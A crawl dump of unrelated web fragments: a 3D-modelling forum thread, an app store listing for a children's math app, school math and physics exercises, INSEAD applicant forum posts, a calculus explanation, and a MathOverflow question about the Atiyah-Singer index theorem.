points, capturing a distance and applying it to a different location, and more... This is all covered in that doc file above. Also see the new tutorial video here: http://moi3d.com/forum/index.php?webtag=MOI&msg=975.1 , it uses construction lines in it as well. - Michael
From: Val (GAT) 7 Oct 2007 (8 of 13)
crap! how did I miss that lol. This will help me a lot. Thank you! I like it way better then sketch up's and rhino's. No, really it is awesome. here is what I got so far. The whole thing is actually only about 1.5% done. This is only a part of the final model :D Attachments:
From: Michael Gibson 7 Oct 2007 (9 of 13)
995.9 In reply to 995.8 Hi Val, well that's one of the downsides of making something that stays out of your way until you trigger it - it isn't so obvious at first that it is there... But I hope to improve that by some of the video tutorials that I will do. Cool model, it looks interesting! I hope you'll post the final version too. - Michael EDITED: 7 Oct 2007 by MICHAEL GIBSON
From: Val (GAT) 8 Oct 2007 (10 of 13)
Thanks! I will post every part as I finish them including the final. I think I will do a small tut on some of the bottle necks of the process, and techniques. I originally began modeling this in blender, but I scraped the model and decided I needed to use NURBS to make nice smooth surfaces, that are car like in design. Modeling what I got so far using polygons would be a nightmare! | 1,448 | 5,944 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2024-26 | latest | en | 0.952994 |
https://itunes.apple.com/dk/app/quick-math-jr./id926078360?mt=8&ign-mpt=uo%3D4 | 1,542,403,488,000,000,000 | text/html | crawl-data/CC-MAIN-2018-47/segments/1542039743184.39/warc/CC-MAIN-20181116194306-20181116220306-00382.warc.gz | 662,492,688 | 40,036 | ## Description
*Featured on the App Store*
*Children’s Tech Review Parents’ Choice Award*
*Top Rated by Balefire Labs*
*REVERE Awards Finalist*
Loved by teachers... and kids! Quick Math Jr. is an award winning app that covers the essential foundations of mathematics, including counting, addition and subtraction, place value, writing numbers and much more!
“...excellent for teaching kids about number sense.” - Graphite by Common Sense Media
Perfect for children aged 3 - 7, Quick Math Jr learns as kids play and adjusts the difficulty of the questions to make sure each individual player is always at a level that is just right for them! From the creators of the award-winning Quick Math series, Quick Math Jr. is a fun way to develop mathematics skills and confidence.
FEATURES
• Twelve games aligned with international maths curriculums, including US Common Core and the Australian National Curriculum
• Adaptive difficulty to quickly place each player at their appropriate level
• Create your own monster characters by winning new features, then see your creations appear in the game!
• Unlimited player profiles for easy device sharing
• View your child’s report card and see their progress through the app or on your Apple Watch
EDUCATIONAL CONTENT
• Develop number sense
• Name numbers
• Practice number sequence up to 100
• Connect number names, numerals and quantities up to 30, including zero
• Model numbers up to 20
• Subitize small collections of objects in dice patterns, ten-frames and random patterns
• Conceptually subitize larger collections of objects in two or more dice patterns or ten frames
• Start counting from numbers other than one
• Count on and back
• Skip count by twos, threes, fives and tens
• Count and skip-count forwards and backwards
• Practice place value by composing numbers to 99 using tens and ones
• Create equality using balance
• Add to and subtract from a hidden total to practice mental arithmetic and counting on and back
• Solve simple addition and subtraction questions up to 20
• Practice writing numerals
• Continue two, three and four-part patterns
• Fill in missing elements in two, three and four part patterns
• Practise number bonds within twenty
• Practise greater than and less than on a number line
• Solve addition and subtraction story problems within 10
• Practise counting and arithmetic using both continuous and discrete quantities
• Locate hidden numbers on a number line
• Estimate the position of numbers on a number line
## What's New
Version 1.5.13
Bug fixes & improvements.
## Ratings and Reviews
4.7 out of 5
6 Ratings
### Editors' Notes
We wish we’d gotten to learn maths like this! First, we designed a lovable creature—ours was a bug-eyed monster in a bowler hat. Then we played with our creation in fun, fast mini-games that secretly teach the foundations. It’s intended for kids 3–7, but we won’t tell if you sneak in some time of your own.
Lilledk13
### Bedste af det bedste😊👏🏻👏🏻😊
Har brugt det sidste år i min børnehaveklasse, virker bare så godt og børnene har slet ikke problemer med at forstå opgaverne.
En ting jeg dog virkelig godt kunne tænke mig var at man som lærer kunne gå ind i hver enkel opgave og spille den så længe man havde løst. Så ville jeg kunne bruge spillet oppe på det store smartbord til blandt andet at give børnene en meget nemmere visuel forståelse af plus og minus.
M.v.h. Lilledk13
CBTJBM
### By far the best math app for kids I have found so far
My six-year-old daughter can use it by herself. She enjoys playing the little games it contains and it has substantially improved her grasp of basic concepts. A similarly kid-friendly app for more advanced math would be much appreciated.
## Information
Seller
Shiny Things Software Pty Ltd
Size
137.2 MB
Category
Education
Compatibility
Requires iOS 7.0 or later. Compatible with iPhone, iPad and iPod touch.
Languages
English, Danish, Dutch, Finnish, French, German, Italian, Japanese, Korean, Portuguese, Russian, Simplified Chinese, Spanish, Swedish, Traditional Chinese
Age Rating
Rated 4+
Price
Free
In-App Purchases
1. Unlock All Islands 89,00 kr
2. Spooky Town 45,00 kr
3. Mad Science Island 45,00 kr | 993 | 4,185 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.015625 | 3 | CC-MAIN-2018-47 | latest | en | 0.914134 |
https://www.geeksforgeeks.org/class-9-ncert-solutions-chapter-4-linear-equations-in-two-variables-exercise-4-1/?ref=rp | 1,670,152,089,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710972.37/warc/CC-MAIN-20221204104311-20221204134311-00231.warc.gz | 828,265,262 | 22,462 | # Class 9 NCERT Solutions – Chapter 4 Linear Equations in two variables – Exercise 4.1
• Last Updated : 23 Feb, 2021
### Question 1. The cost of a notebook is twice the cost of a pen. Write a linear equation in two variables to represent this statement.
Solution:
Let’s take the cost of a notebook as Rs. x and the cost of a pen as Rs. y.
Given that cost of a notebook (x) is twice the cost of a pen(y).
So, x = 2y.
x – 2y = 0
x – 2y = 0 is the linear equation in two variables that represent the statement.
### Question 2. Express the following linear equations in the form ax + by + c = 0 and indicate the values of a, b and c in each case:
(i) 2x + 3y = 9.35
Solution:
2x + 3y – 9.35 = 0 (Transposing 9.35 to LHS)
(2)x + (3)y + (-9.35) = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by + c = 0,
We get a = 2, b = 3, c = -9.35
(ii) x – y/5 -10 = 0
Solution:
(5x – y – 50)/5 = 0 (Multiply and divide the whole equation by 5)
5x – y – 50 = 0
(5)x + (-1)y + (-50) = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by +c =0,
We get a = 5, b = -1, c = -50
(iii) -2x + 3y = 6
Solution:
-2x + 3y – 6 = 0 (Transposing 6 to LHS)
(-2)x + (3)y+ (-6) = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by +c =0,
We get a = -2, b = 3, c = -6
(iv) x = 3y
Solution:
x – 3y = 0 (Transposing 3y to LHS)
(1)x + (-3)y + 0 = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by + c = 0,
We get a = 1, b = -3, c = 0
(v) 2x = -5y
Solution:
2x + 5y = 0 (Transposing 5y to LHS)
(2)x + (5)y + 0 = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by +c =0,
We get a = 2, b = 5, c = 0
(vi) x + 2 = 0
Solution:
(1)x + (0)y + 2 = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by +c =0,
We get a = 1, b = 0, c = 2
(vii) y – 2 = 0
Solution:
(0)x + (1)y + (-2) = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by +c =0,
We get a = 0, b = 1, c = -2
(viii) 5 = 2x
Solution:
5 – 2x = 0 (Transposing 2x to LHS)
(-2)x + (0)y + 5 = 0 (converting it in the form ax + by + c = 0)
On comparing equation with ax + by + c = 0,
We get a = -2, b = 0, c = 5
My Personal Notes arrow_drop_up | 908 | 2,314 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.71875 | 5 | CC-MAIN-2022-49 | latest | en | 0.897262 |
https://www.transtutors.com/questions/newton-s-law-of-gravitation-shows-that-if-a-person-weighs-where-r-3960-miles-is-the--3849374.htm | 1,624,229,653,000,000,000 | text/html | crawl-data/CC-MAIN-2021-25/segments/1623488257796.77/warc/CC-MAIN-20210620205203-20210620235203-00501.warc.gz | 951,266,505 | 13,052 | # Newton s Law of Gravitation shows that if a person weighs where R = 3960 miles is the radius of the.
Newton s Law of Gravitation shows that if a person weighs
where R = 3960 miles is the radius of the earth (Figure 9).
(a) Show that the weight lost at altitude h miles above the earth’s surface is approximately ΔW ≈ −(0.0005w)h.
(b) Estimate the weight lost by a 200-lb football player flying in a jet at an altitude of 7 miles.
Newton s Law of Gravitation shows that if a person weighs
## Plagiarism Checker
Submit your documents and get free Plagiarism report
Free Plagiarism Checker | 156 | 596 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2021-25 | latest | en | 0.866352 |
https://www.inchcalculator.com/convert/quart-beer-to-liter-beer/ | 1,720,963,624,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514580.77/warc/CC-MAIN-20240714124600-20240714154600-00530.warc.gz | 730,019,342 | 15,898 | Convert Quarts of Beer to Liters
Enter the beer volume in quarts below to get the value converted to liters.
Result in Liters:
1 qt = 0.946354 l
Do you want to convert liters to quarts?
How to Convert Quarts to Liters
To convert a measurement in quarts to a measurement in liters, multiply the beer volume by the following conversion ratio: 0.946354 liters/quart.
Since one quart is equal to 0.946354 liters, you can use this simple formula to convert:
liters = quarts × 0.946354
The beer volume in liters is equal to the beer volume in quarts multiplied by 0.946354.
For example, here's how to convert 5 quarts to liters using the formula above.
liters = (5 qt × 0.946354) = 4.731768 l
How Many Liters Are in a Quart?
There are 0.946354 liters in a quart, which is why we use this value in the formula above.
1 qt = 0.946354 l
What Is a Quart?
The quart is a US standard size bottle containing a 32 fl. oz. of beer.
The quart is a US customary unit of volume. A quart is sometimes also referred to as a howler or half-growler. Quarts can be abbreviated as qt; for example, 1 quart can be written as 1 qt.
What Is a Liter?
The liter is an SI accepted unit for volume for use with the metric system. A liter is sometimes also referred to as a litre. Liters can be abbreviated as l, and are also sometimes abbreviated as L or . For example, 1 liter can be written as 1 l, 1 L, or 1 ℓ.
Quart to Liter Conversion Table
Table showing various quart measurements converted to liters.
Quarts Liters
1 qt 0.946354 l
2 qt 1.8927 l
3 qt 2.8391 l
4 qt 3.7854 l
5 qt 4.7318 l
6 qt 5.6781 l
7 qt 6.6245 l
8 qt 7.5708 l
9 qt 8.5172 l
10 qt 9.4635 l
11 qt 10.41 l
12 qt 11.36 l
13 qt 12.3 l
14 qt 13.25 l
15 qt 14.2 l
16 qt 15.14 l
17 qt 16.09 l
18 qt 17.03 l
19 qt 17.98 l
20 qt 18.93 l
21 qt 19.87 l
22 qt 20.82 l
23 qt 21.77 l
24 qt 22.71 l
25 qt 23.66 l
26 qt 24.61 l
27 qt 25.55 l
28 qt 26.5 l
29 qt 27.44 l
30 qt 28.39 l
31 qt 29.34 l
32 qt 30.28 l
33 qt 31.23 l
34 qt 32.18 l
35 qt 33.12 l
36 qt 34.07 l
37 qt 35.02 l
38 qt 35.96 l
39 qt 36.91 l
40 qt 37.85 l | 726 | 2,070 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5625 | 4 | CC-MAIN-2024-30 | latest | en | 0.780499 |
http://gmatclub.com/forum/insead-2013-jan-calling-all-applicants-127719-800.html | 1,484,817,360,000,000,000 | text/html | crawl-data/CC-MAIN-2017-04/segments/1484560280504.74/warc/CC-MAIN-20170116095120-00570-ip-10-171-10-70.ec2.internal.warc.gz | 118,985,041 | 53,624 | INSEAD 2013 JAN - Calling All Applicants : INSEAD - Page 41
Check GMAT Club Decision Tracker for the Latest School Decision Releases http://gmatclub.com/AppTrack
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# Events & Promotions
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Open Detailed Calendar
# INSEAD 2013 JAN - Calling All Applicants
Author Message
Intern
Joined: 11 Jul 2012
Posts: 6
Followers: 0
Kudos [?]: 1 [0], given: 1
### Show Tags
06 Nov 2012, 23:04
WWW
Intern
Joined: 10 Nov 2011
Posts: 11
Followers: 0
Kudos [?]: 0 [0], given: 0
### Show Tags
06 Nov 2012, 23:08
WWW
Intern
Joined: 03 Apr 2012
Posts: 15
Location: Israel
Concentration: General Management, Finance
GMAT 1: 670 Q48 V33
WE: Consulting (Accounting)
Followers: 0
Kudos [?]: 11 [0], given: 0
### Show Tags
07 Nov 2012, 08:40
WWW
Intern
Joined: 21 May 2012
Posts: 21
Schools: LBS '14 (S)
Followers: 0
Kudos [?]: 0 [0], given: 14
### Show Tags
08 Nov 2012, 08:43
WWW
Intern
Joined: 25 Sep 2012
Posts: 8
Followers: 0
Kudos [?]: 0 [0], given: 2
### Show Tags
08 Nov 2012, 08:49
WWW
Intern
Joined: 12 Sep 2012
Posts: 7
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Kudos [?]: 0 [0], given: 0
### Show Tags
09 Nov 2012, 06:22
WWW
Posted from my mobile device
Intern
Joined: 15 Jul 2012
Posts: 7
Followers: 1
Kudos [?]: 4 [0], given: 0
### Show Tags
11 Nov 2012, 13:17
www
Intern
Joined: 08 Apr 2010
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### Show Tags
18 Nov 2012, 14:30
santiolano wrote:
Hi Everyone,
I got waitlisted on R3. I'm very nervous but will have to cross fingers til the end.
Could someone tell me how many people have been accepted (after R3 in mba connect), and from those, how many are Spanish?
Thanks and good luck to all who are in the same situation.
Hi Santi, and everyone else in this board.
I was accepted in round 1, and would like to wish good luck to all of you who are waitlisted. There is always hope till the end!
If it helps, there are currently 559 people on MBAconnect, of which 13 are spanish.
However, try not to get mad about quotas and numbers, since we will never entirely know the admissions criteria..!
cheers and good luck!
Intern
Joined: 19 Jul 2011
Posts: 18
Location: Qatar
GMAT 1: 680 Q45 V38
GPA: 3.89
WE: General Management (Consulting)
Followers: 0
Kudos [?]: 7 [0], given: 0
### Show Tags
19 Nov 2012, 02:45
Good luck to all those on the waitlist . I know how horrible the wait is (R1 waitlist accepted before R2), but its almost over, don't lose hope just yet!
Just for you guys to size up your chances there are 559 people accepted on MBA connect for 13D while 500 were accepted for 13J. As Insead is expanding its Singapore campus over the next 3 years, the class size should slowly grow from the ~1000 to around 1,100-1,200 by then.
I would expect that for this year the target class size should be 1,050. November 26 is the day for 2nd Tuition payments, movement should happen a few days after. Hope for more than 9 people to drop out so places free up!
Intern
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### Show Tags
26 Nov 2012, 06:46
I just got an email that asked if I would like to remain on the waitlist. It gave details of the payment schedule if I am to be offered a space for the January 7th start of classes. Has anyone else heard anything? I wonder if this means they are expecting a movement sometime soon...
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### Show Tags
26 Nov 2012, 07:53
I got the same mail from my coordinator.
All the people who posted WWW received that mail ?
Please post Y if you did.
Intern
Joined: 03 Apr 2012
Posts: 15
Location: Israel
Concentration: General Management, Finance
GMAT 1: 670 Q48 V33
WE: Consulting (Accounting)
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### Show Tags
26 Nov 2012, 09:01
Yep, got the email as well
Intern
Joined: 10 Nov 2011
Posts: 11
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### Show Tags
26 Nov 2012, 17:49
Yes. same here. I have to add that the mail began by saying that the waitlist "has moved slowly".
Would be interesting if someone received anything but the waitlist update.
Intern
Joined: 07 Sep 2012
Posts: 6
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### Show Tags
27 Nov 2012, 00:20
It would be interesting to know if there was some kind of selection within the waitlist.
Did they remove anyone off the list for example ? If this case, this means that we have been selected to stay, and are in better shape.
Let's stay positive.
Good Luck to All !
Intern
Joined: 19 Jul 2011
Posts: 18
Location: Qatar
GMAT 1: 680 Q45 V38
GPA: 3.89
WE: General Management (Consulting)
Followers: 0
Kudos [?]: 7 [0], given: 0
### Show Tags
27 Nov 2012, 00:59
MBA Connect stands at 552 for 13D, 2nd payment deadline was yesterday, so more people dropping out should happen over the next two days.
<550 and places should open up
Intern
Joined: 31 Jul 2012
Posts: 9
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### Show Tags
27 Nov 2012, 01:14
kiiroitori wrote:
I just got an email that asked if I would like to remain on the waitlist. It gave details of the payment schedule if I am to be offered a space for the January 7th start of classes. Has anyone else heard anything? I wonder if this means they are expecting a movement sometime soon...
Yup, i got the same email as well. I reckon its the generic mail sent to all those on the waitlist.
Since the payment deadline is up, its time to firm up the classes and extend offers to only those able to make arrangements for financing within the few weeks left.
I just hope they make a decision soon, and not leave it to the week before the start of classes on 7th Jan!
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### Show Tags
27 Nov 2012, 04:52
Yep, received the same email. Trying to stay optimistic, but with so many places needing to be freed for us waitlisters to stand a chance... hmm... here's to hoping!
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### Show Tags
27 Nov 2012, 05:19
Y!
Posted from my mobile device
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27 Nov 2012, 06:47
Good luck everyone.
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27 Nov 2012, 07:02
jmerheb wrote:
MBA Connect stands at 552 for 13D, 2nd payment deadline was yesterday, so more people dropping out should happen over the next two days.
<550 and places should open up
Thank you jmerheb, can you please keep the MBA Connects stats coming for the next couple of days ?
Thanks again
BB04
Re: INSEAD 2013 JAN - Calling All Applicants [#permalink] 27 Nov 2012, 07:02
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Topic: LOGIC & MATHEMATICS
Replies: 96 Last Post: Jun 6, 2013 5:19 AM
Messages: [ Previous | Next ]
namducnguyen Posts: 2,777 Registered: 12/13/04
Re: LOGIC & MATHEMATICS
Posted: May 26, 2013 9:49 AM
On 26/05/2013 3:52 AM, Zuhair wrote:
> On May 26, 11:03 am, Nam Nguyen <namducngu...@shaw.ca> wrote:
>> On 26/05/2013 12:52 AM, Zuhair wrote:
>>
>>> Frege wanted to reduce mathematics to Logic by extending predicates by
>>> objects in a general manner (i.e. every predicate has an object
>>> extending it).
>>
>> [...]
>>
>>> Now the above process will recursively form typed formulas, and typed
>>> predicates.
>>
>> Note your "process" and "recursively".
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>> As if we are playing MUSIC with formulas.
>>
>>> Now we stipulate the extensional formation rule:
>>
>>> If Pi is a typed predicate symbol then ePi is a term.
>>
>>> The idea behind extensions is to code formulas into objects and thus
>>> reduce the predicate hierarchy into an almost dichotomous one, that of
>>> objects and predicates holding of objects, thus enabling Rule 6.
>>
>>> What makes matters enjoying is that the above is a purely logically
>>> motivated theory, I don't see any clear mathematical concepts involved
>>> here, we are simply forming formulas in a stepwise manner and even the
>>> extensional motivation is to ease handling of those formulas.
>>> A purely logical talk.
>>
>> Not so. "Recursive process" is a non-logical concept.
>>
>> Certainly far from being "a purely logical talk".
>
> Recursion is applied in first order logic formation of formulas,
Such application isn't purely logical. Finiteness might be a purely
logical concept but recursion isn't: it requires a _non-logical_
concept (that of the natural numbers).
> and all agrees that first order logic is about logic,
That doesn't mean much and is an obscured way to differentiate between
what is of "purely logical" to what isn't.
> similarly here
> although recursion is used yet still we are speaking about logic,
> formation of formulas in the above manner is purely logically
> motivated.
"Purely logically motivated" isn't the same as "purely logical".
--
----------------------------------------------------
There is no remainder in the mathematics of infinity.
NYOGEN SENZAKI
----------------------------------------------------
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5/30/13 Zaljohar@gmail.com | 1,600 | 4,597 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.265625 | 3 | CC-MAIN-2018-17 | longest | en | 0.908187 |
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Knowledge Check
• Question 1 - Select One
A galvanometer has resistance of 7Ω and given a full scale deflection for a current of 1.0A. How will you convert it into a voltmeter of range 10V
A3Ω in series
B3Ω in aprallel
C17Ω in series
D30Ω in series
• Question 2 - Select One
A galvanometer of resistance 100 Omega, gives a full scale deflection for a current of 10 mA. To convert it into a voltmeter to read 0 to 100 V, the value of the high resistance that should be connected in series with the galvanometer will be
A4900Ω
B9900Ω
C6000Ω
D1000Ω
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http://plantcity-selfstorage.com/solution-answer/chapter-1.1-problem-1E-9780321947345-Calculus:-Early-Transcendentals-(2nd-Edition)/9780321947345/0aea04b8-9890-11e8-ada4-0ee91056875a | 1,540,165,728,000,000,000 | text/html | crawl-data/CC-MAIN-2018-43/segments/1539583514437.69/warc/CC-MAIN-20181021224001-20181022005501-00468.warc.gz | 299,184,680 | 116,467 | # Chapter 1.1, Problem 1E
### Calculus: Early Transcendentals (2...
2nd Edition
William L. Briggs + 2 others
ISBN: 9780321947345
Chapter
Section
### Calculus: Early Transcendentals (2...
2nd Edition
William L. Briggs + 2 others
ISBN: 9780321947345
To determine
To explain: How a function relates one variable to another using the terms domain, range, independent and dependent variables.
A function can be defined as, for every independent variable in domain there exist a unique dependent variable in range.
Explanation
Explanation:
Function is a collection of well defined objects such that for every element in domain there exists a unique element in range.
Consider a function y=f(x) . In which the set of all x values are called the domain and the set of all y values are called the range.
Since y is a function of x, x is called independent variable and y is called the dependent variable.
Therefore, the value of y changes as x changes.
Hence, the function can be expressed as, for every independent variable in domain there exist a unique dependent variable in range.
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### Why Should I Study Calculus?
```
Date: 03/04/2001 at 18:13:12
From: Aaron
Subject: Why should I study calculus?
Dear Dr. Math,
I am starting an AP calculus class next year and I would like to
understand why I should study calculus. What is its importance? Also,
I am in Precalculus now and I would like to know what topics that I am
studying are beneficial in studying calculus.
Thank You
Aaron
```
```
Date: 03/05/2001 at 09:34:54
From: Doctor Ian
Subject: Re: Why should I study calculus?
Hi Aaron,
Thanks for writing to Dr. Math.
The _best_ reason to study calculus is because it's beautiful, and
learning about it is fun. However, most people never figure that out,
so they need some _other_ motivation to learn it.
If you want to learn about physics - which is a prerequisite for just
about any kind of career in science or engineering - then you'll need
to understand calculus for two reasons: First, because many of the
laws you'll be learning about were derived using calculus; and second,
because many of the problems you'll be asked to solve will require you
to use calculus.
The fact that you're asking the question suggests that no one has told
you what the _point_ of calculus is, in which case you might be
viewing it as just another set of tricks for pushing symbols around.
Here is one way to think about it: The history of math is full of the
discovery of special formulas to deal with special situations, e.g.,
formulas to compute the area of a circle, the volume of a pyramid, the
surface area of a torus, and so on.
Calculus is a _general_ way of computing these kinds of quantities,
for situations in which the boundaries can be described by arbitrary
functions, or collections of functions.
Special case formulas are like interstate highways - they take you to
a lot of important places very quickly, but there are a lot of places
that they can't take you at all. Calculus, on the other hand, can take
you to any place that has a street address.
Since calculus deals with functions, studying calculus will be easier
if you really understand, in a visceral way, what functions are and
how they work. And since a large part of calculus involves extending a
few standard techniques to new classes of functions - polynomials,
trigonometric functions, conic sections, etc. - the more kinds of
functions you can become familiar with, the easier calculus will be
for you.
I hope this helps. Let me know if you'd like to talk about this some
more, or if you have any other questions.
- Doctor Ian, The Math Forum
http://mathforum.org/dr.math/
```
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https://mathoverflow.net/questions/23409/intuitive-explanation-for-the-atiyah-singer-index-theorem?noredirect=1 | 1,660,571,201,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882572174.8/warc/CC-MAIN-20220815115129-20220815145129-00274.warc.gz | 400,460,967 | 34,157 | # Intuitive explanation for the Atiyah-Singer index theorem
My question is related to the question Explanation for the Chern Character to this question about Todd classes, and to this question about the Atiyah-Singer index theorem.
I'm trying to learn the Atiyah-Singer index theorem from standard and less-standard sources, and what I really want now is some soft, heuristic, not-necessarily-rigourous intuitive explanation of why it should be true. I am really just looking for a mental picture, analogous somehow to the mental picture I have of Gauss-Bonnet: "increasing Gaussian curvature tears holes in a surface".
The Atiyah-Singer theorem reads $$\mathrm{Ind}(D)=\int_{T^\ast M}\mathrm{ch}([\sigma_m(D)])\smile \mathrm{Td}(T^\ast M \otimes \mathbb{C})$$ What I want to understand is what the Chern character cup Todd class is actually measuring (heuristically- it doesn't have to be precisely true), and why, integrated over the cotangent bundle, this should give rise to the index of a Fredholm operator. I'm not so much interested in exact formulae at this point as in gleaning some sort of intuition for what is going on "under the hood". The Chern character is beautifully interpreted in this answer by Tyler Lawson, which, however, doesn't tell me what it means to cup it with the Todd class (I can guess that it's some sort of exponent of the logarithm of a formal group law, but this might be rubbish, and it's still not clear what that should be supposed to be measuring). Peter Teichner gives another, to my mind perhaps even more compelling answer, relating the Chern character with looping-delooping (going up and down the n-category ladder? ), but again, I'm missing a picture of what role the Todd class plays in this picture, and why it should have anything to do with the genus of an elliptic operator. I'm also missing a "big picture" explanation of Fei Han's work, even after having read his thesis (can someone familiar with this paper summarize the conceptual idea without the technical details?). Similarly, Jose Figueroa-O'Farrill's answer looks intriguing, but what I'm missing in that picture is intuitive understanding of why at zero temperature, the Witten index should have anything at all to do with Chern characters and Todd classes.
I know (at least in principle) that on both sides of the equation the manifold can be replaced with a point, where the index theorem holds true trivially; but that looks to me like an argument to convince somebody of the fact that it is true, and not an argument which gives any insight as to why it's true.
Let me add background about the Todd class, explained to me by Nigel Higson: "The Todd class is the correction factor that you need to make the Thom homomorphism commute with the Chern character." (I wish I could draw commutative diagrams on MathOverflow!) So for a vector bundle $$V\longrightarrow E\longrightarrow X$$, you have a Thom homomorphism in the top row $$K(X)\rightarrow K_c(E)$$, one in the bottom row $$H^\ast_c(X;\mathbb{Q})\rightarrow H_c^\ast(E;\mathbb{Q})$$, and Chern characters going from the top row to the bottom row. This diagram doesn't commute in general, but it commutes modulo the action of $$\mathrm{TD}(E)$$. I don't think I understand why any of this is relevant.
In summary, my question is
Do you have a soft not-necessarily-rigourous intuitive explanation of what each term in the Atiyah-Singer index theorem is trying to measure, and of why, in these terms, the Atiyah-Singer index theorem might be expected to hold true.
• I like your question! Although, I'm not really capable of answering it I'd like to share a link to a recently written master's thesis. math.leidenuniv.nl/scripties/Raynor.pdf Maybe you'll find something interesting in there. May 4, 2010 at 13:26
• When you type \mathrm{Ind} and \mathrm{ch} and \mathrm{Td} instead of \operatorname{Ind} etc., then you don't get context-dependent spacing that, for example, makes the horizontal space to the right of $\operatorname{kos}$ larger in $\operatorname{kos}x$ (coded as \operatorname{kos}x) than in $\operatorname{kos}(x).$ (Positioning of subscripts and superscripts is also affect in some cases.) Jul 14 at 15:55
I don't think I can really give you the intuition that you seek because I don't think I quite have it yet either. But I think that understanding the relevance of Nigel Higson's comment might help, and I can try to provide some insight. (Full disclosure: most of my understanding of these matters has been heavily influenced by Nigel Higson and John Roe).
My first comment is that the index theorem should be regarded as a statement about K-theory, not as a cohomological formula. Understanding the theorem in this way suppresses many complications (such as the confusing appearance of the Todd class!) and lends itself most readily to generalization. Moreover the K-theory proof of the index theorem parallels the "extrinsic" proof of the Gauss Bonnet theorem, making the result seem a little more natural. The appearance of the Chern character and Todd class are explained in this context by the observations that the Chern character maps K-theory (vector bundles) to cohomology (differential forms) and that the Todd class measures the difference between the Thom isomorphism in K-theory and the Thom isomorphism in cohomology. I unfortunately can't give you any better intuition for the latter statement than what can be obtained by looking at Atiyah and Singer's proof, but in any event my point is that the Todd class arises because we are trying to convert what ought to be a K-theory statement into a cohomological statement, not for a reason that is truly intrinsic to the index theorem.
Before I elaborate on the K-theory proof, I want to comment that there is also a local proof of the index theorem which relies on detailed asymptotic analysis of the heat equation associated to a Dirac operator. This is analogous to certain intrinsic proofs of the Gauss-Bonnet theorem, but according to my understanding the argument doesn't provide the same kind of intuition that the K-theory argument does. The basic strategy of the local argument, as simplified by Getzler, is to invent a symbolic calculus for the Dirac operator which reduces the theorem to a computation with a specific example. This example is a version of the quantum-mechanical harmonic oscillator operator, and a coordinate calculation directly produces the $\hat{A}$ genus (the appropriate "right-hand side" of the index theorem for the Dirac operator). There are some slightly more conceptual versions of this proof, but none that I have seen REALLY explain the geometric meaning of the $\hat{A}$ genus.
